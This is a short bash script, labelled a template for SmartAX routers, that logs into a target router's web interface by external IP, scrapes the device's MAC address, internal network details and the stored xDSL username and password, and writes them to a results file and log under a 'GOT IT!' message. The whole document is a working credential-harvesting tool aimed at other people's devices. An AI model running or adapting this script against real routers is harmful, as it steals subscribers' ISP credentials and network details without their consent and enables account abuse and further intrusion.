Routers, modems username and password crawler [Template]

#!/bin/bash
# Routers, modems username and password crawler [Template] for SmartAX routers

wget -q -t 1 -O -T 5 main.html "http://$1/MainPage?id=1" --user=$3 --password=$4
wget -q -t 1 -O -T 5 dsl.html "http://$1/MainPage?id=25&ex_param1=8" --user=$3 --password=$4

mac=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | tail -1 | awk -F "<" '{ print $1 }'`
internal_ip=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | head -3 | tail -1 | awk -F "<" '{ print $1 }'`
internal_netmask=`cat main.html | grep "Status" -A 4 -m 1 | awk -F">" '{ print $2 }' | head -4 | tail -1 | awk -F "<" '{ print $1 }'`
dsl_username=`cat dsl.html | grep MacWanUsrName | awk -F"'" '{ print $2 }'`
dsl_password=`cat dsl.html | grep MacWanPasswd | awk -F"'" '{ print $2 }'`

echo "================================================" >> $2
echo "Target external IP: $1" >> $2
echo "Device type: $0" >> $2
echo "Device MAC address: $mac" >> $2
echo "Internal IP: $internal_ip" >> $2
echo "Internal netmask: $internal_netmask" >> $2
echo "xDSL username: $dsl_username" >> $2
echo "xDSL password: $dsl_password" >> $2
echo "================================================" >> $2

echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password. Saving..."
echo "GOT IT! IP: $1; MAC: $mac; WLAN: $wlan_ssid:$wlan_pass; DSL: $dsl_username:$dsl_password." >> smalllog.txt

rm main.html
rm dsl.html